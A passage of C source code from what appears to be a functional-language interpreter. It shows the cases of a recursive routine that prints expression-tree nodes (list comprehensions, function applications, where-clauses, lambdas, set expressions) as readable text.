WriteElems(c->left, LIST, "", ", ", "", False);
WriteString(" | ");
for(c=c->right; c->tag==GENERATOR; c=c->right)
{
if(c->left->right)
{
WriteElems(c->left->left, LIST, "", ", ", "", False);
WriteString(" <- ");
WriteElems(c->left->right, LIST, "", ", ", "", False);
}
else
WriteC(c->left->left, False);
if(c->right->tag==GENERATOR) WriteString("; ");
}
WriteString("]");
break;
case SYSFUNC1:
fun = getfunction(c->value);
if(parentheses) WriteString("(");
WriteString(fun->name);
WriteString(" ");
WriteC(c->left, True);
if(parentheses) WriteString(")");
break;
case SYSFUNC2:
fun = getfunction(c->value);
if(parentheses) WriteString("(");
WriteC(c->left, True);
WriteString(" ");
WriteString(fun->name);
WriteString(" ");
WriteC(c->right, True);
if(parentheses) WriteString(")");
break;
case APPLICATION:
fun = getfunction(c->value);
if(parentheses) WriteString("(");
WriteString(fun->name);
if(fun->argcount == 0)
;
else if(fun->argcount == 1)
push(c->right);
else
{
for(k=fun->argcount; k>1; k--)
{
push(c->left);
c = c->right;
}
push(c);
}
for(k=fun->argcount; k>0; k--)
{
WriteString(" ");
WriteC(pop(), True);
}
if(parentheses) WriteString(")");
break;
case FUNC: case TYPE:
WriteFunc(getfunction(c->value)->name);
break;
case ERROR:
Write("error(%s)", getfunction(c->value)->name);
break;
case CONST:
WriteString("(Const ");
WriteC(c->left, False);
WriteString(")");
break;
case STRICTDIRECTOR: case LAZYDIRECTOR:
WriteDirector(c->value, c->tag);
if(parentheses) WriteString("(");
WriteC(c->left, True);
if(parentheses) WriteString(")");
break;
case LETREC:
if(parentheses) WriteString("(");
WriteC(c->right, False);
WriteString(" WHERE ");
k = 0;
for(c=c->left; c->tag==LIST; c=c->right)
{
Write("LOCAL(%d) = ", -(k--));
WriteC(c->left, False);
WriteString("; ");
}
WriteString("ENDWHERE");
if(parentheses) WriteString(")");
break;
case LAMBDA:
WriteC(c->left, False);
WriteString(" -> ");
WriteC(c->right, False);
break;
case LAMBDAS:
WriteElems(c, LAMBDAS, "(", " | ", ")", False);
break;
case VARIABLE:
WriteString(getfunction(c->left->value)->name);
break;
case SET1: case SET2:
WriteString("[");
WriteC(c->left->left, False);
for(k=1; k<=c->value; k++) Write(" x%d", k);
WriteString(" | (x1");
for(k=2; k<=c->value; k++) Write(", x%d", k);
WriteString(") <- ");
WriteC(c->left->right->right, False);
if(c->left->right->left)
{
WriteString("; ");
WriteC(c->left->right->left, False);
for(k=1; k<=c->value; k++) Write(" x%d", k);
}
WriteString("]");
break;
default:
systemerror(7);
}
}
